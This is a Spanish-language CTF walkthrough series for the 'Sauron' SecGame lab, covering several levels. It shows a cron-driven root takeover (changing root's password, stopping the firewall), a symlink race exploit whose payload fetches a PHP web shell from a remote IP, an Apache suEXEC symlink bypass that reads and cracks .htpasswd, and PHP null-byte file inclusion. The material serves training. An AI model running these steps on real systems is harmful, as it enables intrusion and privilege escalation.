SecGame #1: Sauron - Resolución Nivel 7

Saludos a todos los que habéis seguido esta resolución hasta el final, y a todos los que a partir de ahora useis estas pequeños tutoriales para cualquier menester que estimeis útil.

Vaya por delante decir que os agradecemos el interés mostrado, las dudas planteadas, y en definitiva que hayáis colaborado en la materialización de este proyecto. Gracias también a todos los que usáis nuestro SecGame como material didáctico en cursos, masters y otras formaciones a profesionales. Sin más, vamos ya con el nivel 7.

Como sabemos en este punto ( y por si lo hemos olvidado siempre podemos mirar el /etc/passwd ) el sistema contiene únicamente tiene 3 usuarios: blindware, intranet y developer. De estos, developer parece estar bastante al margen, y con los otros dos ya podemos ejecutar comandos. Únicamente, nos queda, pués, intentar conseguir acceso como root a este sistema.

Y aquí hacemos un paréntesis, en muchos sistemas al llegar a una situación como esta, únicamente tendremos la opción del exploit local para el kernel. En el caso que nos ocupa, y para hacerlo más didáctico, es posible obtener root, sin explotar nada a nivel de kernel.

Vaya por delante, que la explotación de este nivel requiere de paciencia, y de unir dos conceptos un poco “dispersos”. No llegamos a calificar su explotación de “idea feliz”, puesto que hay un camino lógico que permite hacerlo, pero desde luego, no es sencillo darse cuenta del mismo. A pesar de que pueda parecer un nivel diseñado ex profeso para el juego, este fallo de seguridad puede ser extrapolado, total o parcialmente, a sistemas reales en los que usuarios sin privilegios deben desempeñar tareas administrativas. Hecho el “disclaimer”, vamos a ver los pasos a dar para explotarlo.

Hasta el momento, hay algo bastante importante, que hemos obviado hacer, quizá por no necesitarlo: obtener los paths que contiene el servidor web. Dado que el directorio “/var/www” nos impide la lectura, es cuestión de hacer uso del fichero de configuración del propio apache, y del comando grep para obtener la información: cat /etc/httpd/conf/httpd.conf | grep /var/www. De esta forma obtendremos una información parecida a la siguiente:

DocumentRoot "/var/www/html"

Alias /icons/ "/var/www/icons/"

ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
# "/var/www/cgi-bin" should be changed to whatever your ScriptAliased

# /var/www/error/include/ files and
Alias /error/ "/var/www/error/"

DocumentRoot /var/www/blindware/htdocs
DocumentRoot /var/www/intranet/htdocs

En definitiva tenemos el siguiente listado de directorios: html, icons, cgi-bin, error, blindware/htdocs e intranet/htdocs dentro del directorio /var/www/.

A continuación, debemos verificar los permisos que tenemos sobre cada uno de esos directorios, haciendo uso de un simple "ls -la", encontrando una "pequeña" sorpresa:

/var/www/cgi-bin:

total 16
drwxr-x--- 2 intranet apache 4096 Jun 22 20:06 .
d--x--x--x 8 root root 4096 May 12 13:52 ..

El directorio /var/www/cgi-bin es propiedad del usuario intranet. Este error, que rara vez se da en entornos altamente estructurados, como puede ser un proveedor de hosting, donde los usuarios tienen unos permisos predefinidos, es más frecuente de lo que parece en otros entornos de producción, por ejemplo grandes empresas u organismos públicos de gran tamaño, donde se dan cambios relativamente frecuentes, donde se necesita compartir información entre usuarios, y donde el nivel de seguridad local, con el paso del tiempo, de las necesidades, y de las distintas modificaciones, queda mermado.

Este fallo, concretamente, nos permite ganar la ejecución de comandos otro usuario: apache. ¿Cómo? Si recordamos, al principio de estas resoluciones, dijimos que al menos 3 hosts, estaban siendo servidos por apache, uno era www.blindware.inc, otro intranet.blindware.inc, y un tercero, el servido mediante https. Pues bien, el servicio HTTPS tiene su directorio CGI en /var/www/cgi-bin/.

Por tanto, únicamente deberemos realizar una copia de la shell en PHP que tengamos en el sistema para ejecutar comandos a ese directorio, para empezar a ejecutar comandos con nuestras nuevas credenciales: uid=48(apache) gid=48(apache) groups=48(apache)

A partir de aquí es cuestión de paciencia, y de ser capaces de revisar los servicios activos en el sistema, buscando una vulnerabilidad de configuración, para ello podemos hacer uso del comando "ps", de listar los servicios con "chkconfig", o de pasearnos por el "init.d". El hecho es que si paulatinamente vamos revisando (versiones y ficheros de configuración) de todos los servicios activos: syslog, mysql, cron, anacron, sendmail, etc ( algo que es bastante tedioso, todo sea dicho )
encontraremos lo siguiente dentro de la configuración del demonio cron, en el fichero crontab:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
* * * * * root run-parts /etc/cron.every
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly

Hay una entrada “cron.every”, que no es natural en estos sistemas, no obstante, aunque no la hubiese, lo normal sería revisar cada uno de los directorios y ver qué se ejecuta en ellos.

/etc/cron.every:
total 4
lrwxrwxrwx 1 root root 22 May 16 20:10 www.do -> /var/www/html/doit.txt

En negrita hemos resaltado la vulnerabilidad. Si no fijamos, cron.every, ejecuta cada minuto el script localizado en /var/www/html/doit.txt cuyos permisos son los siguientes:

total 12
-rwxr-xr-x 1 apache apache 124 May 16 20:12 doit.txt
-rw-r--r-- 1 apache apache 0 May 12 21:15 index.html

El fallo, contrario a cualquier criterio de buenas prácticas, radica en haber enlazado un proceso administrativo con privilegios de root a un script que bajo determinadas circunstancias, por muy remotas que estas sean, puede ser controlado por un usuario ajeno a root.

A partir de aquí, vamos a ver el proceso para obtener la cuenta de root, vaya por delante que es únicamente una demostración de concepto, y desde luego, no es precisamente la forma más sutil de obtenerlo.

Primero, añadiremos una línea al fichero doit.txt y tendremos cambiada la contraseña de root del sistema, a r00t3d. Para eso ejecutamos el siguiente comando (urlencodeado):

echo+%22echo+root%3Ar00t3d+%7C+%2Fusr%2Fsbin%2Fchpasswd%22+%3E+%2Fvar
%2Fwww%2Fhtml%2Fdoit.txt

Por último y para concluir, deshabilitamos el firewall del sistema y habilitamos ssh, con lo que conseguiremos un acceso remoto:

Deshabilitar FW:
echo+%22%2Fetc%2Finit.d%2Fiptables+stop%22+%3E+%2F
var%2Fwww%2Fhtml%2Fdoit.txt

Habilitar SSHD:
echo+%22%2Fetc%2Finit.d%2Fsshd+start%22+%3E+%2F
var%2Fwww%2Fhtml%2Fdoit.txt

Conectamos y aquí tenemos el resultado:

[root@sauron ~]# id
uid=0(root) gid=0(root) grupos=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Poco más, enhorabuena a todos los que hayáis conseguido superar el reto planteado con Sauron, y enhorabuena también a todos los que aunque no lo hayáis superado hayáis mejorado vuestros conocimientos y habilidades. Hasta el siguiente SecGame y hasta nuevos proyectos que lanzaremos en breve y esperamos sean de vuestro interés.

SecGame #1: Sauron - Resolución Nivel 6

Saludos nuevamente,

nos encontramos ya en el penúltimo de los niveles de este reto, que esta ocasión hemos resuelto con una semana entera de retraso, debido a los desajustes propios de los periodos vacacionales. Por ello, sin perder más tiempo, vamos con su resolución.

En este sexto nivel, una vez obtenido el acceso a intranet.blindware.inc lo primero que vamos a encontrar es un fichero de nombre “moved.html”, que parece querernos redirigir hacia una IP de clase A: 10.50.150.200, además de este fichero "moved.html", nos encontramos un directorio de nombre cgi-bak en el cual aparecen numerosos scripts, que podemos descargar en lo que parece un backup del mismo.

Podemos deducir, por tanto, que la intranet se ha movido de este sistema al recien descubierto 10.50.150.200, y que además en el proceso de mover cosas, algunos scripts, sin que esté muy claro el motivo, han quedado en este sistema. Este es un escenario relativamente común en entornos de producción maduros, en los que por motivos de rendimiento, u otros, partes de los aplicativos o servicios son migrados a nuevos sistemas. Esta migración, eventualmente, puede tener como consecuencia el olvido de restos de información significativa en el sistema inicial.

De momento, lo primero que debemos hacer es bajar el fichero de backup, puesto que estos siempre son una fuente de información muy útil para nuestros propósitos: códigos fuentes, contraseñas, y otra variedad de información están contenidas en ellos.

Ahora es el momento de revisar los códigos fuentes de los ficheros almacenados en el servidor. Esta es una tarea para la que sólo hay recomendaciones, pero no una técnica definitiva. Lo que deberemos buscar, generalmente son: entradas y salidas de datos provinientes del usuario, modificaciones sobre los datos del usuario (concatenaciones, alteraciones, etc) y por último llamadas a funciones potencialmente inseguras y/o con riesgo potencial ( dependerá del lenguaje en el que nos encontremos, pero serán funciones principalemente de ejecución de comandos, de trabajo con memoria, etc ).

De su revisión, y con un poco de paciencia, obtenemos dos datos, más o menos relevantes:

1. Únicamente 2 ficheros producen salidas a disco

2. Únicamente 1 fichero admite entradas de usuario

Vamos a revisar el código fuente de estos 2 ficheros.

PhoneBook

#!/bin/sh

# Phonebook example as shell script

phonebook=sh_phone.dat

function phonebook_add
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi
if [ -z "$value2" ]; then
echo "Phone is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" = "" ]; then
echo "$value1 $value2" >>$phonebook
if [ $? ]; then
echo "Entry $value1 added successfully!"
else
echo "Unable to add to $phonebook. Contact Webmaster."
fi
else
echo "Entry $value1 already exists!"
fi
}
function phonebook_delete
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
mv $phonebook $phonebook.tmp
grep -v $value1 $phonebook.tmp >$phonebook
if [ $? ]; then
echo "Entry $value1 deleted successfully!"
else
echo "Unable to delete from $phonebook. Contact Webmaster."
fi
else
echo "Entry $value1 not found in the phonebook."
fi
}

function phonebook_search
{
if [ "$value1" = "" ]; then
echo "Name is required!"
return
fi

entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
name=`echo "$entry" | cut -f1 -d' '`
phone=`echo "$entry" | cut -f2 -d' '`
echo "Name = $name\nPhone = $phone"
else
echo "Entry $value1 not found in the phonebook."
fi
}

# Main program

# send the MIME header first
echo "Content-type: text/plain"
echo

# get the length of the cgi content
# not used here since read can read free form input
# echo "CONTENT_LENGTH = $CONTENT_LENGTH"

# read the cgi content
read cgiStr
# echo "input read = $cgiStr"

# process the received input string
# first split cgiStr using the '&' as separator
field1Encoded="${cgiStr%%&*}"
cgiStr="${cgiStr#*&}"
field2Encoded="${cgiStr%%&*}"
cgiStr="${cgiStr#*&}"
field3Encoded="$cgiStr"

# decode the string
# change '+'s to ' 's
# translate hex characters - not implemented here
field1=`echo $field1Encoded | tr '+' ' '`
field2=`echo $field2Encoded | tr '+' ' '`
field3=`echo $field3Encoded | tr '+' ' '`

# split the string into name and value
# name1=${field1%=*}
value1="${field1#*=}"
# name2=${field2%=*}
value2="${field2#*=}"
# name3=${field3%=*}
value3="${field3#*=}"
# value3 has an extra character at the end because of the free form read
# echo :$value3: $value1 $value2
# call appropriate function depending on ACTION
if [ "${value3#ADD}" != "$value3" ]; then
phonebook_add
elif [ "${value3#DELETE}" != "$value3" ]; then
phonebook_delete
else
phonebook_search
fi

do_passv.cgi

#!/bin/sh
rm /tmp/tmp_*
TMP_NAME="/tmp/tmp_"`echo $RANDOM | md5sum | cut -f1 -d" "`
wget -O $TMP_NAME --no-check-certificate https://127.0.0.1/doit.txt 2> /dev/null
chmod +x $TMP_NAME
exec $TMP_NAME

Llegados a este punto, nos podemos empeñar en que el fallo de seguridad está en la agenda de teléfonos porque es el script que admite entrada de parámetros. La realidad es bien distinta, es cierto que la agenda de teléfonos es un script bastante cutre, y bastante mal programado, pero por mucho que nos empeñemos no vamos a obtener un fallo de seguridad de él, ya que en realidad no realiza ninguna operación comprometida con los datos.

Otro caso muy diferente es el pequeño script. Para empezar hacer una operación que siempre es crítica: intenta ejecutar algo. El script, a simple vista, parece que genera un fichero aleatorio en disco, con un contenido descargado de un servidor web, para luego ejecutarlo.

Pues, aunque no lo parezca, este es un script inseguro. El motivo de su inseguridad, que deriva en una condición de carrera ( race condition ) estriba en el insuficiente espacio de colisión que aporta la variable $RANDOM. Por defecto, $RANDOM, genera 32K valores, que el script transforma en una cadena md5, es decir, los valores del 0 al 32767 ( a ojo ) son convertidos a un string md5, sobre el que se guarda el fichero, para luego ser ejecutado.

Además de eso, no se chequea la existencia previa del fichero, y únicamente hay un guiño leve a la seguridad, pues se borran ficheros anteriores. Al no chequear la existencia previa, otro usuario puede haber creado un enlace simbólico a otro fichero, y este será el que se ejecute en detrimento del nuestro. Además, el borrar ficheros, no sirve, a menos que tengamos permisos para hacerlo. Dicho de otra forma, este script sólo borraría cualquier fichero si el usuario que lo ejecutara fuera root. En ese caso, la race condition no sería “inexplotable”, pero sí que se dificultaría su explotación, puesto que se tendrían que generar los enlaces entre el borrado, y la ejecución, existiendo una ventana de tiempo muy reducida para ello.

Por tanto, nuestro vector de ataque se fundamenta en pregenerar enlaces simbólicos con nombre tmp_md5string, donde md5string será una cadena que contendrá la codificación md5 de los strings del 1 al 32767. Y aquí nos enfrentamos a una pequeña complejidad para la explotación, el número de enlaces que podemos crear en el sistema de ficheros, está relacionado directamente con 2 parámetros:

o Para enlaces simbólicos será igual al número de inodos disponibles en el sistema de ficheros.

o Para enlaces duros, será igual al límite de ficheros que se permite como máximo en un directorio, en caso de que el sistema de ficheros no consuma inodos al crear enlaces duros ( p.ej ext3 ), o al número de enlaces duros en caso de que los consuma.

Para el caso que nos ocupa, el directorio /tmp es tiene la sisguientes características:
tmpfs on /tmp type tmpfs (rw,size=4M)

Por tanto, dado que es un sistema tmpfs, se pueden crear tantos enlaces como inodos disponibles.

Filesystem Inodes IUsed IFree IUse% Mounted on
tmpfs 15674 8 15666 1% /tmp

Así que debemos crear un script, que genere enlaces simbólicos, hasta completar el número de inodos, permitiéndolos la explotación de la race condition, y que tras su ejecución nos cree una copia de una shell en php. Vamos a ello.

#!/bin/bash

MINNUM=1;
MAXNUM=15666;

for number in `seq $MINNUM $MAXNUM`; do
TMP_NAME="/tmp/tmp_"`echo $number | md5sum | cut -f1 -d" "`
ln -s /tmp/exploit $TMP_NAME
done

El script es bastante sencillo, simplemente recorre de MINNUM a MAXNUM, generando enlaces simbólicos ( codificados en MD5 ) al fichero /tmp/exploit. Cuyo contenido puede ser bastante parecido al siguiente:

#!/bin/bash

wget http://IP/shell.txt
cp shell.txt /var/www/intranet/htdocs/shell.php
chmod +x /var/www/intranet/htdocs/shell.php

En definitiva, copiamos una shell en PHP, a disco, y la movemos al directorio web del usuario intranet, sin olvidarnos de adecuar los permisos de ejecución.

Todos estos ficheros, los subimos al servidor al directorio /tmp, mediante los privilegios que tenemos en el usuario blindware y ejecutamos el exploit con ese usuario.

Cuando ejecutemos el exploit, este tardará un tiempo considerable en generar todos los enlaces simbólicos, también podemos hacer que genere en vez de 15666, 1500, o la cifra que prefiramos, cuanto menor sea la cifra, menos posibilidades de explotación efectiva de la condición de carrera tendremos.

Una vez creados los enlaces simplemente ejecutamos el script con el fallo de seguridad:

o http://intranet.blindware.inc/cgi-bak/do_passv.cgi

Si la explotación falla obtendremos el resultado típico:

> ID: uid=501(intranet) gid=501(intranet) groups=501(intranet)
> UPTIME: 14:41:56 up 2:28, 2 users, load average: 0.00, 0.35, 0.42
> INFO: Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux

Cuando acertemos, simplemente veremos una pantalla en blanco. En ese momento, para nuestra satisfacción, tendremos una nueva shell en http://intranet.blindware.inc/shell.php

Y ejecutando nuestro primer comando ( id ), comprobaremos que ya somos usuario intranet:

o uid=501(intranet) gid=501(intranet) groups=501(intranet)

Con esto, habiendo ganado ejecución de comandos con otro usuario, podemos decir que hemos concluido este nivel, y que ya estamos a sólo un paso del final. ¡Hasta dentro de 15 días!

SecGame #1: Sauron - Resolución Nivel 5

Primero, y como es habitual saludar a todos los que nos siguen, segundo enviar un saludo a todos los que desde Extrelan pasaron un buen rato resolviendo éste reto, con algunas ligeras modificaciones. Ahora, con un día de retraso nuevamente, vamos a resolver el que es ya el quinto nivel dentro de los desafíos de Sauron. Empecemos.

El nivel 5 es quizá uno de los momentos menos concretos de todos los que se pueden presentar. Ahora hemos conseguido ser usuarios locales del sistema, podemos ejecutar comandos, leer directorios, ver configuraciones, y podemos, en definitiva, explorar muchísimas posibilidades.

Sin embargo, hay que matizar algo importante, que puede servir para ahorrarnos muchas horas de trabajo inútil: si nos encontramos en un sistema actualizado, sin fallos de seguridad en el kernel y en otros servicios administrativos, es muy difícil, a menos que el administrador haya configurado algo de forma errónea, escalar privilegios directamente, hacia un usuario administrativo. ¿Qué podemos hacer entonces en estas situaciones?

Nuestro objetivo, en estos casos en los que ser "root" o "Administrador" no parece ser inmediato, será extraer la mayor cantidad de información del sistema, obtener el mayor número de cuentas de usuario posibles, etc.

¿Cómo conseguir eso?. Primeramente, en los sistemas que tengan servicios web, nos centraremos en estos, ¿por qué?. Básicamente porque el aislamiento entre usuarios web, es quizá no complicado, pero sí tedioso. Es fácil encontrar escenarios en los que directamente podamos acceder a los directorios de otros usuarios en la web, y leer sus ficheros, porque todas estas carpetas pueden ser leídas por el usuario que ejecuta el servidor web ( apache, httpd, etc ). En otros escenarios los usuarios web estarán aislados usando cgi-wrappers. Y únicamente, en los entornos más avanzados y seguros, cada usuario web poseerá una máquina virtual o un vps, en la que sólo existirá él. En caso de no existir escenario web, otros escenarios posibles son por este orden: ficheros de configuración, ficheros temporales, ficheros de logs y permisos inseguros.

En este escenario que nos ocupa, relativamente común en un entorno de seguridad medio con árbol web (incluso muy común en granjas de servidores web), vamos a ver cómo se puede proceder. Lo primero, saber quiénes son los usuarios.

blindware:x:500:500::/var/www/blindware:/bin/bash intranet:x:501:501::/var/www/intranet:/bin/bash developer:x:502:502::/home/developer:/bin/bash

El sistema parece tener 3 usuarios. 2 de ellos, usuarios web, uno de los cuales es el usuario con el que podemos ejecutar comandos, y otro es el usuario “intranet”.

Podemos probar a acceder al directorio del usuario intranet (/var/www/intranet), pero rápidamente nos daremos cuenta, que poco podemos hacer, pues nos deniega el acceso. Incluso si intentamos leer /var/www, obtendremos resultado parecido, puesto que sus permisos son los siguientes:

d--x--x--x 8 root root 4096 May 12 13:52 www

Ésta situación es bastante común, sin embargo, hay un fichero en el sistema que nos será siempre de gran utilidad, y es la configuración del propio Apache, la cual habitualmente se encuentra desprotegida (en este caso dentro de /etc/httpd/httpd.conf).

<VirtualHost *:80>
ServerAdmin blindware@blindware.inc
DocumentRoot /var/www/blindware/htdocs
ServerName www.blindware.inc
SuexecUserGroup blindware blindware
<Directory />
Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All
</Directory>
</VirtualHost>

<VirtualHost *:80>
ServerAdmin intranet@blindware.inc
DocumentRoot /var/www/intranet/htdocs
ServerName intranet.blindware.inc
SuexecUserGroup intranet intranet
<Directory />
Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All
</Directory>
</VirtualHost>

De esta configuración, lo primero que extraemos, es que los hosts están aislados mediante Apache suEXEC, lo cual hace que PHP esté configurado para ejecución en modo CGI, en vez de cómo módulo de Apache, y por ello antes necesitábamos permisos de ejecución en los ficheros PHP. Tal y como comentamos con anterioridad, no es recomendable ir reinventando la rueda a cada paso, por ello, la pregunta que nos tenemos que hacer en este punto es: ¿existe algún procedimiento público y documentado que permita sobrepasar los mecanismos de aislamiento de hosts basados en Apache suEXEC?.

Existe, únicamente tenemos que buscar en Google: "apache suexec", "apache suexec bypass", o similares y encontraremos un documento denominado "Apache suEXEC Bypass" en el cual se nos detalla de forma bastante extensa los problemas de configuración asociados a éste sistema.

A grandes rasgos, nosotros vamos a sacar lo más interesante del documento, para hacernos una idea de cómo podemos proceder para leer ficheros dentro del directorio web del usuario intranet.

1. Los diferentes hosts virtuales de Apache, mediante suEXEC, lo que consiguen es que cada host ejecute comandos CGI, bajo un usuario diferente. De esta forma, por ejemplo, nosotros ejecutamos comandos con “blindware”, mientras que el vhost intranet, ejecuta comandos con el usuario “intranet”.

2. Esto permite un esquema de aislamiento “relativamente” sencillo.

drwxr-x--- 3 blindware apache 4096 nov 25 17:00 blindware
drwxr-x--- 3 intranet apache 4096 nov 25 17:00 intranet

Si nos damos cuenta, cada usuario es propietario de su directorio, y ningún otro usuario puede acceder a ellos, a excepción del usuario apache, con el que se ejecuta el servicio web. Esto "garantiza", que aunque el usuario ejecute comandos en el sistema, ningún usuario podrá acceder al directorio de otro usuario.

3. Esta idea, cuenta con un fallo: el enlace simbólico. Los enlaces simbólicos se pueden establecer sobre ficheros en los que no tenemos permisos. Dicho de otra forma, nosotros como usuario “blindware”, podemos enlazar cualquier fichero del usuario “intranet”, del que conozcamos su existencia.

4. Una vez enlazado el fichero, podremos usar Apache, para leer el enlace simbólico, de esta forma, el enlace simbólico será leido con los permisos de Apache, usuario Apache, y podremos acceder a aquellos directorios a los que Apache tenga acceso, que comúnmente son todos los del árbol web, puesto que debe poder leerlos.

5. Para que el ataque tenga éxito Apache, es así por defecto, debe estar activa la opción FollowSymLinks en Apache. Por el contrario, si la opción que se encuentra activa es SymLinksIfOwnerMatch, el ataque no se podrá realizar, puesto que Apache, únicamente seguirá enlaces que apunten a ficheros propiedad del dueño del enlace.

6. En caso de estar activa la directiva SymLinksIfOwnerMatch, podrá ser modificada por un usuario mediante un fichero .htaccess, siempre que las opciones AllowOverride Options, o AllowOverride All, estén habilitadas.

A priori, parece que nos encontramos en un escenario vulnerable: se usa suEXEC, y aunque se encuentra habilitada la opción SymLinksIfOwnerMatch, también está habilitada la cláusula AllowOverride All. Por tanto, es cuestión de proceder, a través de nuestra shell en PHP según lo que vamos a describir a continuación. Un detalle importante, cuando queramos ejecutar contenido en nuestra shell PHP, cualquier instrucción que incluya caracteres mínimamente extraños, debemos hace uso de URLEncode.

1. Lo primero que queremos hacer es escribir un fichero .htaccess que nos permita aprovecharnos de esta vulnerabilidad. La orden bien pudiera ser esta.

echo "Options -SymLinksIfOwnerMatch +FollowSymLinks" > .htaccess

Pero como sabemos, debe ser URLEncodeada, quedando una cadena, para su ejecución en nuestra shell, como la siguiente:

echo+%22Options+-SymLinksIfOwnerMatch+%2BFollowSymLinks%22+%3E+.htaccess

2. Ahora es cuestión de crear un enlace simbólico, sobre algún contenido que nos interese leer del directorio “intranet”. En este caso, lo más interesante es leer el fichero .htaccess de ese directorio, del que nos garantizamos su existencia, y que además nos impide el acceso al contenido web de http://intranet.blindware.inc. Creamos pues el enlace simbólico: ln –s /var/www/intranet/htdocs/.htaccess htaccess

De esta forma, tenemos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htacccess, que una vez visitado nos dará el contenido del fichero:

Options +Indexes
AuthName "Blindware - Intranet Protected"
AuthType Basic
AuthUserFile /var/www/intranet/htdocs/.htpasswd
require valid-user

4. Repetimos el proceso, una vez que conocemos la localización del fichero .htpasswd. Para ello creamos otro enlace simbólico: ln –s /var/www/intranet/htdocs/.htpasswd htpasswd

De esta forma, creamos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htpasswd, que una vez visitado nos dará el contenido del fichero.

admin:tCPJIYCZjtqF6

5. Tenemos el usuario, y el hash del acceso a intranet.blindware.inc, podemos bien intentar crackearlo, bien seguir intentando la lectura de ficheros contenidos en ese directorio. A priori es un hash DES tradicional, con lo cual podemos intentar romperlo, a ver qué sucede.

Para romper el hash, hacemos uso de la herramienta “john the ripper”, que es con diferencia el crackeador de passwords más conocido de Unix.

$ john htpasswd
guesses: 1 time: 0:00:00:10 (3) c/s: 335628 trying: 132449 - 132498
Loaded 1 password hash (Traditional DES [64/64 BS MMX])
132456 (admin)

Pues ya conocemos el password: 132456 con usuario admin. Lo que nos permite acceder a intranet.blindware.inc y seguir avanzando en la resolución de Sauron. Dentro de 15 días, continuaremos con el siguiente nivel. Suerte a todos los que intentáis superarlo.

SecGame #1: Sauron - Resolución Nivel 3

Saludos nuevamente,

esperamos que aquellos que van siguiendo estas resoluciones e intentando completar los niveles semanalmente, hayan conseguido desentrañar el reto tras este tercer nivel, o al menos se hayan aproximado mucho. El planteamiento para resolverlo hemos de admitir que no es tan trivial como los anterioresl, quizá junto con el último reto, sean los únicos donde el ingenio debe primar por encima de los conocimientos técnicos, aunque estos también deben de existir. Sin más, vamos con la resolución, que esperamos sea del agrado de todos. Decir que la resolución se hará sobre el nivel de complejidad básico, pues aún siendo más fácil de resolver, presenta fallos más ricos y mucho más instructivos que el modo de complejidad elevado. La resolución, aunque similar es cierto que tiene algunas divergencias. Para todos aquellos que estén jugando el modo complejo, si necesitan alguna indicación pueden ponerse en contacto con nosotros por email.

Hasta este nivel 3 habíamos estado buceando en un aplicativo externo, y estático. Encontrar el directorio /_controlp/, supone haber encontrado un punto donde podemos insertar información en la lógica del aplicativo. Siempre que nos encontremos en esta situación lo recomendable es chequear qué sucede adulterando los parámetros proporcionados por el usuario en busca de una malformación que nos muestre mensajes de error, o que cambie el comportamiento esperado y habitual.

Para ello, esta ocasión en vez de hacerlo manualmente, y con el fin de aumentar lo didáctico de la explotación, vamos a usar un Fuzzer, en este caso JBroFuzz v0.6, aunque cada cual puede usar el que guste, o prefiera. ¿Cuál es el cometido de un Fuzzer?. Básicamente probar una combinación de parámetros sobre las entradas que seleccionemos, para proporcionarnos todas las salidas que esa información produce, de tal forma que no tengamos que estar verificando a mano, cada una de las posibles entradas del aplicativo, en busca de los citados comportamientos anómalos.

En nuestro caso el PATH sobre el que realizaremos el fuzzing, será:

• /_controlp/login.php?login=test&password=test&select=grey

Concretamente sobre las variables “login”, “password” y “select”, a las cuales someteremos a pruebas de SQL Injection y XSS Scripting, lo cual originará aproximadamente unas 71 peticiones diferentes para estos contenidos.

Es momento para hacer un paréntesis. Los fuzzers, son tan productivos, o tan improductivos, como “oculto” esté el fallo de seguridad que queremos revelar. En caso de ser fallos complejos de ver, el fuzzer, por lo sistemático de su funcionamiento, nos será de ayuda. En el caso de ser errores fácilmente detectables, el fuzzer únicamente nos va a generar una cantidad ingente de información a revisar, que en el mejor de los casos nos dirá lo mismo, que podíamos haber comprobado en 10 segundos, haciéndolo a mano.

En el caso que nos ocupa, el fuzzing, no nos devuelve nada que no podamos verificar de forma manual: la variable “select” es usada para incluir un template almacenado en disco. Cambiar este valor, provoca un fallo en el acceso al template, y nos muestra una alerta de PHP. Antes de continuar aclarar una cosa, que el fuzzer únicamente haya visto ese fallo no significa que sea el único que existe. Esto siempre hay que tenerlo presente. Las herramientas, nos ayudan a auditar, pero nunca dan verdades absolutas. Veamos la alerta.

Warning: include(./test.inc) [function.include]: failed to open stream: No such file or directory in /var/www/blindware/htdocs/_controlp/login.php on line 14

Warning: include() [function.include]: Failed opening './test.inc' for inclusion (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/blindware/htdocs/_controlp/login.php on line 14

Como hemos dicho tenemos una lectura desde disco mediante la función INCLUDE de PHP. Esta función, por defecto, lee un fichero, de disco local, o de forma remota ( http, ftp, smb ) y lo interpreta como un fichero PHP procesando su contenido. En el caso que nos ocupa, está restringida al sistema de ficheros local, buscando el fichero “./” + nuestro valor + “.inc”. Es evidente que en el momento que no usamos valores por defecto “grey”, “blue” o “red” se produce un fallo al no encontrarse el fichero en el disco.

Generalmente la primera verificación ante este tipo de mensajes suele ser: ¿podemos escalar directorios?. Es decir, ¿podemos salir del directorio en el que nos encontramos haciendo uso de la cadena “../” y retrocediendo en la ruta relativa?. En este caso al comprobarlo obtenemos el siguiente mensaje:

Hacking Attemped Detected!

Your ip 192.168.200.1 are logged

En caso de que se nos permitiera hacerlo, podríamos estar ante una escalada de privilegios local. Puesto que sería posible hacer que la web incluyera, por ejemplo, un fichero en “../../../../../../../../../../../../tmp/prueba.inc”. Con lo cual conseguiríamos, si fuéramos usuarios de la máquina, modificar nuestros privilegios a los del usuario que ejecutase el script dentro del árbol web, o incluso siendo usuarios remotos, la posibilidad de mediante una condición de carrera de accerder a la máquina remotamente. Sin embargo, en el caso que nos ocupa no es así. Y únicamente podemos incluir ficheros dentro del directorio en el que se encuentra el script.

Por tanto, nuestra principal posibilidad para explotar un posible fallo de seguridad, según lo visto, depende de que podamos modificar la cadena a incluir. Pasando de ser “./nuestra_entrada.inc” a “./nuestra_entrada” y permitiéndonos incluir cualquier fichero de ese directorio.

Conseguir esta explotación efectiva depende de que la configuración de PHP permita lo que se conoce como “Null Byte Injection”. Dicho de otra forma: la injección de un byte nulo en la entrada del usuario. ¿Qué conseguimos con esto? Las cadenas, en PHP, como en otros lenguajes, se delimitan con un “\0” ( Null Byte ). De esta forma, si conseguimos introducir “nuestra_entrada\0”, la cadena quedará cortada y nos desaremos de la subcadena “.inc” que coloca el aplicativo.

La explotación de Null Byte Injections en PHP se realiza introduciendo en la cadena “% 00” al final de la entrada de usuario. Esta explotación será posible, siempre que la directiva MAGIC_QUOTES_GPC se encuentre desactivada en el fichero “php.ini”, o la cadena no sufra ningún preproceso por funciones como addslashes o urlencode. Como nota adicional, en PHP4, MAGIC_QUOTES_GPC se encontraba activo por defecto, sin embargo, en PHP5, y por motivos de rendimiento, se supone que para mejorarlo, esta directiva se encuentra desactivada en un gran número de configuraciones, quedando a merced del programador someter a las entradas de usuario a las comprobaciones pertinentes.

Ahora nos resta probar esta teoría, intentando la inclusión del fichero “login.php”. Para ello, solicitamos la siguiente url:

• http://www.blindware.inc/_controlp/login.php?login=f&password=f&select=login.php% 00
  

La cual nos confirma que es posible usar null bytes, devolviendo el siguiente mensaje:

Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 14592 bytes) in /var/www/blindware/htdocs/_controlp/login.php on line 26

Este error, que puede parecer un poco críptico, y es muy diferente al anterior está motivado por un bucle de inclusión repetida, que lleva al proceso de PHP a consumir la memoria disponible para él (16MB). De esta forma confirmamos que es posible incluir otros ficheros, pero que lamentablemente no debemos incluir login.php sobre él mismo, puesto que cae en un bucle de inclusión repetida ( como por otra parte se podía preveer ).

¿Qué fichero podemos incluir entonces?. Lo más razonable, sencillo y directo es hacer la inclusión sobre el propio "index.php".

• http://www.blindware.inc/_controlp/login.php?login=f&password=f&select=index.php% 00
  

Una vez hecha esta petición comprobaremos en el código fuente de la página devuelta, al principio del mismo, hemos obtenido el código PHP del fichero “index.php”.

• <?php
• if (isset($_GET["select"])) {
